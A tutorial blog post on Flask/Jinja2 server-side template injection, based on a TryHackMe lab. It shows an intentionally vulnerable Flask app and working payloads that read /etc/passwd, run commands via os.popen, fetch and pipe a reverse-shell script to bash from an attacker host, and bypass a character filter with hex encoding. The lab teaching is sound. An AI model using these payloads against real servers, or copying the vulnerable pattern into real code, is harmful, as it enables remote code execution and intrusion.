A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example
Flask, a lightweight Python web application framework, is one of my favorite and most-used tools. While it is great for building simple APIs and microservices, it can also be used for fully-fledged web applications relying on server-side rendering. To so, Flask depends on the powerful and popular Jinja2 templating engine.
I recently stumbled across Flask in the context of @toxicat0r’s new Temple room on TryHackMe. While the room also features some other interesting things, at its core, it is all about a Server-Side Template Injection (SSTI) attack.
While not as common as SQLi, LFI/RFI, or XSS, Server-Side Template Injection is a very interesting and dangerous attack vector that is often overlooked when developing web applications.
Fundamentally, SSTI is all about misusing the templating system and syntax to inject malicious payloads into templates. As these are rendered on the server, they provide a possible vector for remote code execution. For a more thorough introduction, definitely have a look at this great article by PortSwigger.
In this article, after an introduction to some fundamental technical concepts, we are going to look at an SSTI example using a simplified version of the Temple room.
Some Fundamentals: Flask, Jinja2, Python
Before going into the actual example, we will look at a few fundamentals. First, we will briefly look at Flask and Jinja2 before looking at how we can navigate through Python’s object inheritance tree.
Flask and Jinja2
Jinja2 is a powerful templating engine used in Flask. While it does many more things, it essentially allows us to write HTML templates with placeholders that are later dynamically populated by the application.
<div>
<h1>Article</h1>
{{ article_text }}
</div>
In the example above, we can see a a straightforward Jinja2 template. When rendering the template, Jina2 will dynamically replace `` with the corresponding variable.
In Flask, this would be used as follows:
@app.route('/index')
def index():
article = ...
return render_template('article.html', article_text=article)
We assume that the template is stored in a file called article.html
. When this route is called, {{ article_text }}
will be replaced with article
before sending the content to the user.
In a similar fashion, we could also use render_template_string(template)
to use a template string instead of a file. This is what you will see below.
Also, it is important to realize that Jinja2 has a quite elaborate templating syntax. Instead of just placeholders, we can also have, for example, loops and conditions in these templates. Most importantly, however, the {{ }}
placeholders have access to the actual objects passed via Flask. If we are, for example, passing a list example_list
, we can use {{ example_list[0] }}
as we would in our regular Python code.
Navigating Python Objects and Inheritance Trees
In Python, everything is an object! While this is a fundamental property and feature of the language, we are going to focus on one very particular thing one can do: navigating the inheritance tree of objects and, thus, classes.
In the following example, we are trying to read a file called test.txt
using _io.FileIO
. However, instead of just using regular function calls, we will start from a str
object and work our way to the _io.FileIO
class.
While this does not make any sense in (most) regular programming, we will leverage this capability later:
We start with a simple str
object. For now, we are using abc, but it could be any arbitrary string:
'abc'
Now we access its __class__
:
'abc'.__class__
str
Going further, we access its __base__
:
'abc'.__class__.__base__
object
Now, we can look at all __subclasses__
of object
. This will get us a long list of available Python classes.
'abc'.__class__.__base__.__subclasses__()
In this list, we are now looking for the _io._IOBase
class, which, in this example, sits at index 96 of the __subclasses__
.
Please note that in newer versions of Python (as of 3.10.08), the index has changed to 111. Thank you, @kaligraph_jay for pointing this out!
You can find the correct index, e.g., like this:
[str(obj) for obj in 'abc'.__class__.__base__.__subclasses__()].index("<class '_io._IOBase'>")
Knowing this, we can proceed:
'abc'.__class__.__base__.__subclasses__()[96]
_io._IOBase
We need to go further to find the _io._RawIOBase
class. Hence, we are repeating the same process as above:
'abc'.__class__.__base__.__subclasses__()[96].__subclasses__()[0]
_io._RawIOBase
Repeating the same process again, we can get to the desired _io.FileIO
:
'abc'.__class__.__base__.__subclasses__()[96].__subclasses__()[0].__subclasses__()[0]
_io.FileIO
Finally, we can use this class to construct a file object and read our file:
'abc'.__class__.__base__.__subclasses__()[96].__subclasses__()[0].__subclasses__()[0]('test.txt').read()
Do not let this confuse or discourage you! Ultimately, we are still working with a regular file object. However, instead of just using, for example, open()
, we navigated to it starting from a str
object.
You should also be aware that many SSTI tutorials and cheat sheets demonstrate this using __subclasses__()[40]
. This does rarely work today as Python 3 is using the new io
modules for file objects.
Also, keep in mind that there are many ways to get to the same destination. This was, for demonstration purposes, a very extensive example. Feel free to explore better (i.e., shorter) ways of getting the same result!
Especially if you are looking at other examples, you will also come across Python’s Method Resolution Order (MRO). While the MRO, especially looking at differences between old-style and new-style classes, is very interesting, we primarily care for __mro__
right now. As per the documentation, “[t]his attribute is a tuple of classes that are considered when looking for base classes during method resolution.”
Put simply, while __subclassess__
can be used to go down inherited objects, __mro__
allows us to go back up the inheritance tree.
Here’s an example to demonstrate the concept as clearly as possible:
class A(object):
def __repr__(self):
return 'A'
class B_one(A):
def __repr__(self):
return 'B'
class B_two(A):
def __repr__(self):
return 'B'
class C(B_one):
def __repr__(self):
return 'B'
A.__subclasses__()
=> [__main__.B_one, __main__.B_two]
A
is inherited by both B_one
and B_two
.
C.__mro__
=> (__main__.C, __main__.B_one, __main__.A, object)
C
has inherited B
and hence also, albeit indirectly, A
.
Temple on TryHackMe
As I said above, the inspiration for this article stems from a recent (October 2021) TryHackMe room by @toxicat0r that explores, besides other things, an SSTI in a Flask application.
While this is definitely not a writeup for Temple, I want to use the room to motivate the following as it presents a rather realistic scenario.
After a quite challenging enumeration phase, one can find a Flask-based web application which ultimately leads to a foothold on the server.
In the application, there is an account page (see above) that displays some information about the current user. The actual vulnerability hides behind the Logged in as XXX field, which works by populating a Jinja2 template directly from a database.
For this example (see screenshot), an account was registered using {{6*7}}
as the username. Instead of showing this as the username, the expression is rendered on the server and displayed as 42 in the application.
We are exploiting the fact that the template is rendered on the server by Jinja2. Using the templating syntax, we might be able to execute a malicious payload, instead of just a simple expression, during rendering.
Below you can see a stripped down, simplified version of the application present in Temple. While the SSTI is a key part of the challenge, this should not spoil the room completely.
from flask import Flask, abort, request, render_template_string
import jinja2, re, hashlib
app = Flask(__name__)
app.secret_key = b'SECRET_KEY'
@app.route('/filter', methods=['GET'])
def filter():
payload = request.args.get('payload')
bad_chars = "'_#&;"
if any(char in bad_chars for char in payload):
abort(403)
template = '''
<!DOCTYPE html>
<html>
<head>
<title>No Filter</title>
</head>
<body>
<p>''' + payload + '''</p>
</body>
</html>'''
return render_template_string(template)
@app.route('/no_filter', methods=['GET'])
def no_filter():
payload = request.args.get('payload')
template = '''
<!DOCTYPE html>
<html>
<head>
<title>No Filter</title>
</head>
<body>
<p>''' + payload + '''</p>
</body>
</html>'''
return render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)
The actual room also features a character-based filter to prevent some characters (see bad_chars
) from being used in payloads. This, while being relatively simplistic, is a common strategy to mitigate such attacks. In the following, we are going to explore how this vulnerability can be exploited and how we can bypass the filter.
Exploiting the SSTI
We are now going to use this example to demonstrate an actual SSTI attack. After a relatively simple PoC, we are going to read /etc/passwd
and also gain a reverse shell.
Simple Proof-of-Concept
A trusted way of checking for SSTIs is to inject a simple expression which we expect to be executed/evaluated by the templating engine. To do so, we are using the {{ ... }}
syntax native to Jinja2.
For example, as Jinja2 supports basic arithmetic expressions, we can test {{7*12}}
as our payload:
As we can see, the expression has been executed/evaluated, and we are seeing the result and not the initial payload.
This is also a nice example of how SSTI attacks fundamentally differ from XSS ones as the code is actually being executed on the server and not the client. That said, it is very easy to mistake SSTI for XSS if we are not using payloads for fuzzing that “change” after they are being evaluated by the templating engine.
Another, more useful, PoC is to read Flask’s config
object like this:
http://IP/no_filter?payload={{config}}
It, for example, contains the application’s SECRET_KEY
.
Traditional Exploitation
Unfortunately (?), we cannot directly execute (arbitrary) Python commands in a Jinja2 template. However, as seen above, we have access to some objects (e.g., config
). Having access to these objects allows us to perform the trick we have learned above.
http://IP?payload={{'abc'.__class__.__base__.__subclasses__()[92].__subclasses__()[0].__subclasses__()[0]('/etc/passwd').read()}}
If we use the payload from above, we can read the /etc/passwd
file as the code is being executed on the server by the templating engine. If you look closely, you will see that I have changed from 96
to 92
in order to reflect the new environment. In order to get there, you will have to first look at __base__.__subclasses__()
and determine the correct index.
RCE Payload and Bypassing Filters
In a brilliant OnSecurity article, Gus Ralph presents a very clever RCE payload that leverages the fact that Flask/Jinja2 templates have the request
object available to them.
Leveraging the same tricks, the following payload would execute id
using Python’s os.popen()
:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
In regular Python, we are just doing the following:
import os
os.popen('id')
As we can see, the payload works, and we are seeing the output of id
. For this example, I ran the application in a Kali VM.
More importantly, this particular payload is not only relatively short, but we also do not need to find any specific index before running it.
Of course, we can now modify the payload to do something more interesting. Below, we are using the same basic payload to download a script (revshell
) from our attacker VM and execute it using bash
.
#!/bin/bash
bash -c "bash -i >& /dev/tcp/IP/4000 0>&1"
(revshell
is just a simple revers shell)
{{request.application.__globals__.__builtins__.__import__('os').popen('curl IP/revshell | bash').read()}}
Bypassing Filters
If you remember, the actual Temple challenge featured a character-based filter which makes running such payloads quite a bit harder. More precisely, in our example, we cannot use any of these characters: '_#&;
.
While we are going to look at this specific payload example, have a look at both HackTricks and PayloadsAllTheThings for a good overview of various bypassing strategies.
Alright! The modified payload, also heavily inspired by Gus Ralph, we are going to end up using will look like this:
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl IP:PORT/revshell | bash")|attr("read")()}}
This looks complicated! However, to bypass the filters, we are essentially only using two strategies: Leveraging the Jina2 attr()
filter and hex encoding.
Let’s look at a sample portion of the payload: |attr("\x5f\x5fglobals\x5f\x5f")
.
The |
indicates to Jija2 that we are applying a filter. The attr()
filter “get[s] an attribute of an object”. As per the documentation, “foo|attr("bar")
works like foo.bar
.” \x5f
is simply the hex representation of _
.
Combining these two strategies we can craft a payload that does not use any of the “forbidden” (i.e., bad/filtered) characters.
Above, you can see how the payload finally executes. First, revshell
is downloaded from the Python http.server
(attacker), and shortly after pwncat
receives our new shell from the target. It’s also just quite satisfying to watch …
Conclusion
This article, very obviously, is not a thorough introduction to Server-Side Template Injection. However, I hope to have shown how this type of injection can easily become very dangerous. This is particularly problematic as many developers - me included - often focus on other more common types of injections.
Aside from the security implications, this is also a nice opportunity to experiment with Python and some of the awesome metaprogramming features it has to offer!
Finally, if you happen to be on TryHackMe, give Temple a go! It’s a challenging room that, aside from some almost frustrating enumeration, has quite a bit to offer!
P.S. After trying to publish this post, I realized that my static site generator interpreted all of the {{ }}
tags, and I had to go back escaping all of them. Way to go!
Thank you for visiting!
I hope, you are enjoying the article! I'd love to get in touch! 😀
Follow me on LinkedIn